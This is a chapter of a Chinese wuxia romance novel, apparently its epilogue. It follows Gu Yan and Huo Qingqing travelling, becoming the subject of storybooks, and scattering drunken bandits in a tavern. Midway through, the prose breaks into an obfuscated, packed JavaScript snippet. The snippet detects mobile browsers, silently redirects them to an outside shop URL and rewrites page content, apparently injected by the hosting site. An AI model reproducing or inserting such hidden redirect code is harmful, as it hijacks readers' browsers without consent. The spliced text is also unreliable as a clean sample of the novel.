底下有人喝了一声:“好!” 登时引诸多人迭声附和。 后面,他神神秘秘,说那淮月将军许是有两人,便听一阵嘘声。 不乏有人问:“何来证据?” 他只笑笑,说:“我一张嘴就是证据。” “嘁!” 底下说得可谓是热火朝天,上面饮茶的也将就听着。 “顾大人,下一处,想去何处?”霍青青松了身子,靠在他身侧,枕在他肩头,懒散得很。 顾衍抬手将她的发别到耳后,沉吟片刻才道:“霍姑娘还曾去过何处?青州可是来了得有两回了。” 青州玉楼春这边的人总说许久未看到楼主,甚是想念。特别是那兰浔,每日都念叨着说他把她家小青儿抢走了还不肯还回来,搞得玉楼春里的人消沉得很。 思及此,顾衍不由嗤了一声。 尽是些骗子,说着消沉下去,消沉得能跟着他们到处跑。 他还带着青青远走,或是去山间散心,冷不丁就冒出一个十三楼的人。更莫说还有辰砂霍十一锦屏神出鬼没。 只是也有人送来好些书信,有些在骂他顾狗贼,说拐了他的宝贝女儿跑了还不着家。 有些在问他何时归京,说是伍行又不慎将屋子炸了。 还有些乱七八糟的,陆陆续续,收的信都一大摞,也不知他们哪里来的这么多事。 这一年多,他们确是未在京都。 走走停停的,去了关外新建的城池,去了白沙关祁南城看月亮,转头又去往滏南关、陵水城。 霍姑娘带着他走过官道,行过山间,将她曾走过的地方都带他看遍。 “那便去一趟南面的庄子吧,去歇一段时日。” “好啊,都听霍姑娘的。” …… 听闻陵水这些时日闹了山匪,很快便被正道侠士给清剿。 就那样将他们活捉,绑了扔到府衙门口。 又听闻阜州有几个地主,仗着自家有钱有势就征用百姓的地不给租金,很快就被一人提着刀拎到百姓面前悔过。 再听闻,民间话本里,多出来一篇新的侠客志,叫什么《顾衍和他的雇主》。 这侠客志写了什么? 写的是顾衍跟他的雇主一路行侠仗义,所过之处百姓长宁。 从前那本《大煜最不适合当夫婿的人》改了,莫家庄莫天俞高居榜首,排行第二第三的是柳家庄柳三爷和新起来的叫伍行的侠客。 这些东西删删改改的,只有鲜少人还记得,如今那个跟着霍姑娘一起的锦衣卫指挥使顾衍也曾上过榜,还排在前三。 这些个话本子,就成了许多人茶余饭后消遣的玩意儿,看个乐呵。自然也有人评头论足,说如今这世道比从前不知好上多少。 近几日最让人津津乐道的,当属小天魁莫天俞跟十三楼一个杀手打的那一场,据说打得天昏地暗,最后还是没打出输赢。双鞭小天魁,自输给过十三楼霍楼主之后,还是第一次如此受挫。 一时又有人前往挑战,结果还没进门,就被莫天俞一鞭子挑飞出来。 再后来,听闻有一黑衣人,使一杆玄黑长枪,又将这些个在江湖里响当当的人都打了一遍,一如当初十三楼霍楼主。 今岁还开了新商道,关外的客商顺着商道入关,许多地方都有旅居的商贾做买卖,关外制式的首饰可谓是供不应求。 最热闹的当属祁南城,也不知是谁,在祁南城开了一间首饰铺子,不卖别的,就卖玉石头面,铺子里各类玉石可谓琳琅满目。 偶有关外商贾,来了就全部买下,带去关外卖。 还有许多,像玉楼春新出的酒日日售空。京都胭脂铺美名远扬,引许多人前往。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13782953|133106||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二皇子赵亓练兵严厉,得了个混世魔头的名头。三皇子赵枢封太子,日日呆在宫中看奏折。大皇子赵延封王,与其妻琴瑟和鸣羡煞旁人。 大煜多了个女官,名叫杨荇,她行走朝堂里,同那些大臣交谈往来毫不逊色。 青州学宫里如今人更多,周边有人开起学堂,说会给孩子们启蒙。百姓便十分愿意将孩子都送来。 这些总会编进话本里,快得很,也就是几天的功夫,就有新话本。 阜州不远,一处僻静的小酒馆里,从外面涌进来几个喝醉的劫匪,为首一人拿起一柄刀插进桌面,桌子登时四分五裂。 为首一人喝着酒,借着酒气抓住一个跑堂的就将刀抵上他的脖子。 还未等他开口,一颗石子就打在他腕上,他疼得刀脱了手,“哐当”一声跌在地上。吓得余下几人也停了手。 满堂人一惊,跑堂的哆哆嗦嗦连忙跑走。 不多时,便听见有人低声嘀咕:“吵什么。” 众人望去,原来是窗边坐着的一人,他身着月白锦衣,一张面孔生得俊朗得很,瞧着不似这方的人。 此刻,他蹙着眉,伸手捂住他怀里人的耳朵。见她安稳睡着,他才看过来,一双眼睛锐利如鹰:“要吵出去吵。” 今日赶了远路,好不容易在此歇息片刻,偏生遇到有人闹事。 那几个闹事人借着酒劲,一时间竟没怕,提着刀就要往这边来。 只见黑金白刃的刀被甩出来,一下扎进为首一人身前的板凳,扎进地面足五寸。 这地……可是硬的。 几个人当即被吓清醒了。 “嗯?”低低的声音响起来。 扔刀的罪魁祸首低下头,轻声道:“没事,看到个蚊子。” “还不滚?”他捂住怀里人的耳朵,睨了已吓得面上煞白的几人一眼。 末了,几人跌跌撞撞出去,还未至门口就被不知何处出来的黑衣人打晕后拖走,那一身月白衣的人掏出点散碎银两放在桌上,一手抱着人接下自己那柄刀出去了。 掌柜回过神来时,他已走出十余步远。 掌柜的连忙追上去,把银子递给他:“这位大侠,多了多了。” “无事,多的便当赔你桌椅。” 他怀里抱着的人此时才醒了,掌柜的这才看清,原来是一个二十出头的小姑娘。 她着了一身青裙,面带倦意,眼中还带着点初醒的迷茫:“发生何事?” “没什么,一只蚊子,在酒馆里乱飞,吵得很。”方才还木着脸的人变了脸,声音都放轻许多。 “嗯?你是?”霍青青转头看到掌柜的,有些不明所以。 掌柜的愣神许久,才连忙道:“没什么没什么,是这位大侠多留了银钱,我来还。” “这样啊……”霍青青看一眼顾衍,见他不置可否,便笑着将银钱推回去,“他多留了,便收着吧。” “走罢,还要赶一段路,才能到阜州。”她扣住顾衍的手,走在前头。 掌柜的一听,忙问:“两位大侠唤何名?” 此时两人已走远,却听有人懒散道:“我是顾衍,她,是我的雇主。”